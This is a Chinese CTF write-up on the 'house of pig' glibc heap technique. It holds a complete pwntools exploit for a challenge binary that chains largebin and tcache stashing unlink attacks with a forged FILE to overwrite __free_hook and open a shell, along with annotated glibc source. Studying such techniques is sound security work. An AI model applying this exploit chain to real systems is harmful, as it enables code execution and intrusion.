原理详解
题目详解
_IO_str_jumps中的_IO_str_overflow
利用_IO_str_overflow的malloc,memcpy,free三连,设置FAKE_FILE的值,使得free_hook被覆盖为system函数,最后free就可以拿到shell,怎么设置看源代码的函数执行流程
house of pig
主要是利用了largebin attack,tcache stashing unlink attack,伪造FILE结构等手法
题目分析:
攻击流程
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/pig"
elf=ELF(file)
libc =elf.libc
io = process(file)
def dbg():
gdb.attach(io,'b *$rebase(0xD80)')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(io, 'b *$rebase(0x3761)')
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(size, content):
Menu(1)
sla('size: ', str(size))
sla('message: ', content)
def Show(idx):
Menu(2)
sla('index: ', str(idx))
def Edit(idx, content):
Menu(3)
sla('index: ', str(idx))
sa('message: ', content)
def Del(idx):
Menu(4)
sla('index: ', str(idx))
def Change(user):
Menu(5)
if user == 1:
sla('user:\n', 'A\x01\x95\xc9\x1c')
elif user == 2:
sla('user:\n', 'B\x01\x87\xc3\x19')
elif user == 3:
sla('user:\n', 'C\x01\xf7\x3c\x32')
#----- prepare tcache_stashing_unlink_attack
#calloc申请5个0xa0堆块,并放入 tcache
Change(2)
for x in range(5):
Add(0x90, 'B'*0x28) # B0~B4
Del(x) #B0~B4
#role1 calloc(0x150),用于切割出0xa0的small bin chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
#填充0x160 tcache,使得 A0进入 unsortedbin
for x in range(7):
Add(0x150, 'A'*0x68) # A1~A7
Del(1+x)
#A0放入 unsortedbin
Del(0)
#切割 A0,剩余0xa0放入smallbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#同样道理 利用0x190切割 0xa0放入 smallbin
Change(1)
Add(0x180, 'A'*0x78) # A8
for x in range(7):
Add(0x180, 'A'*0x78) # A9~A15
Del(9+x)
Del(8)
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#----- leak libc_base and heap_base
#role1 calloc(0x430),用于放入largbin,泄漏地址
Change(1)
Add(0x430, 'A'*0x158) # A16
#间隔top chunk
Change(2)
Add(0xf0, 'B'*0x48) # B7
#释放A16进入unsorted bin
Change(1)
Del(16)
#使 A16 进入 largebin
Change(2)
Add(0x440, 'B'*0x158) # B8
#利用 UAF先泄漏 libc地址
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用UAF泄漏heapbase地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
print("---> 1 largbin attack to change __free_hook-8")
#----- first largebin_attack
# recover,fd,bk不对的话在largebin中找不到
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n')
#A17直接largebin中得到(A16)
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
#释放 0x450堆块 chunk8
Del(8)
#使得 chunk8 进入 largebin
Add(0x450, 'B'*0x168) # B9
#释放0x440堆块进入 unsortedbin,其size 小于 chunk8
Change(1)
Del(17)
#修改chunk8->bk_nextsize = free_hook-0x28
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n')
#触发largebin attack
Change(3)
#注意B8的大小是0x450,这里不能add(0x440)
#只要触发了unsortedbin循环就可以,unsorted bin中的large chunk会先被放入largebin再拿出来切割
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#修复chunk8
Change(2)
# recover B8的fd-nextsize,bk-nextsize指向自己
#此时largebin中只有B8,配合下一次largebin attack
Edit(8, 2*p64(heap_base+0x13e80) + b'\n')
print("---> 2 largebin attack to change _IO_list_all")
#----- second largebin_attack
#将unsortedbin 清空
Change(3)
Add(0x380, 'C'*0x118) # C1
#释放A19 0x440到unsortedbin中
Change(1)
Del(19)
#修改chunk8->bk_nextsize = io_list_all-0x20
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
#触发largebin attack
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#修复largebin
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover
print("==== tcache stashing unlink attack and FILE attack")
#----- tcache_stashing_unlink_attack and FILE attack
#修改smallbin 中的第一个chunk的 bk指针为 free_hook-0x20,smallbin: chunk8->chunk7
#target-0x10=free_hook-0x20,target=free_hook-0x10,free_hook-0x8可写,因为之前将其写入了一个堆地址
Change(1)
#这个地方要留意,A8为calloc(0x180),又被分割,calloc(0xe0),而B每次只能写入0x10-0x20的位置
#0x10 0x40 0x70 0xa0 0xd0 0x100 0x190=0x10+0xe0+0xa0,所以这个payload刚好可以实现修改smallbin 中的第一个chunk的 bk指针,注意fd不要改变
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + b'\n')
#申请largebin中的chunk8,用来伪造一个FILE结构体,并将FILE结构体的chain指针指向另一个伪造的FILE结构体堆块,这里不直接用它伪造是因为该堆块限制写,因此让
#这个地方的FILE结构体的chain指针指向当前unsorted bin中残留的chunk头部
Change(3)
#刚好是FAKE FILE的0x68处,也就是*chain写入这个堆地址
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, b'\x00')
print("change fake FILE chain")
#unsorted bin中的heap_base+0x147c0进入了small bin
#largebin中的chunk被取出,同时这也是_IO_list_all[0]存的堆地址
Add(0x440, payload) # C3 change fake FILE _chain
#触发tcache stashing unlink
print("triger tcache_stashing_unlink")
# dbg()
#从smallbin取出一个chunk同时触发tcache_stashing_unlink_attack
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook-0x8处的chunk into tcache
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
#因为返回的是mem位置,也就heap_base+0x147c0+0x10,所以只有2个p64(0)
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0x1000) # _IO_write_ptr = 0x1000
fake_IO_FILE += p64(0) #_IO_write_end=0
#_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
fake_IO_FILE += p64(heap_base+0x148a0) #IO_buf_base,heap_base+0x147c0+0xd0
fake_IO_FILE += p64(heap_base+0x148b8) #IO_buf_end, heap_base+0x147c0+0xd0+0x18
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
print('IO attack')
sa('Gift:', payload)
#触发exit(-1)
Menu(5)
sla('user:\n', '')
irt()
注意要找的是__io_vtables而不是call _IO_str_overflow,否则与FILE结构体的_IO_jump_t的类型不匹配
pwndbg> p &_IO_str_jumps
$6 = (const _IO_jump_t *) 0x7ffff7dd2560 <_IO_str_jumps>
//在攻击中fp->_flags==0,注意函数的流程
#define EOF (-1)
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int _IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF)
return EOF;
else
{
//这里是主要攻击函数,malloc,memcpy,free三连
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 0x64;
if (new_size < old_blen)
return EOF;
//注意malloc特有的对齐
new_buf = malloc (new_size);
if (new_buf == NULL)
{
return EOF;
}
if (old_buf)
{
//把_IO_buf_base到_IO_buf_end中的数据复制到new_buf中,此时可以把system函数复制到free_hook中,这也是为什么tcache中存的是free_hook-0x10
memcpy (new_buf, old_buf, old_blen);
//_IO_buf_base中存储的是/bin/sh\x00
free (old_buf);
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
当题目中限制了system函数的调用,可以使用此方法进行orw,但是这个方法的前提还是有hook可打
0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]
15 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!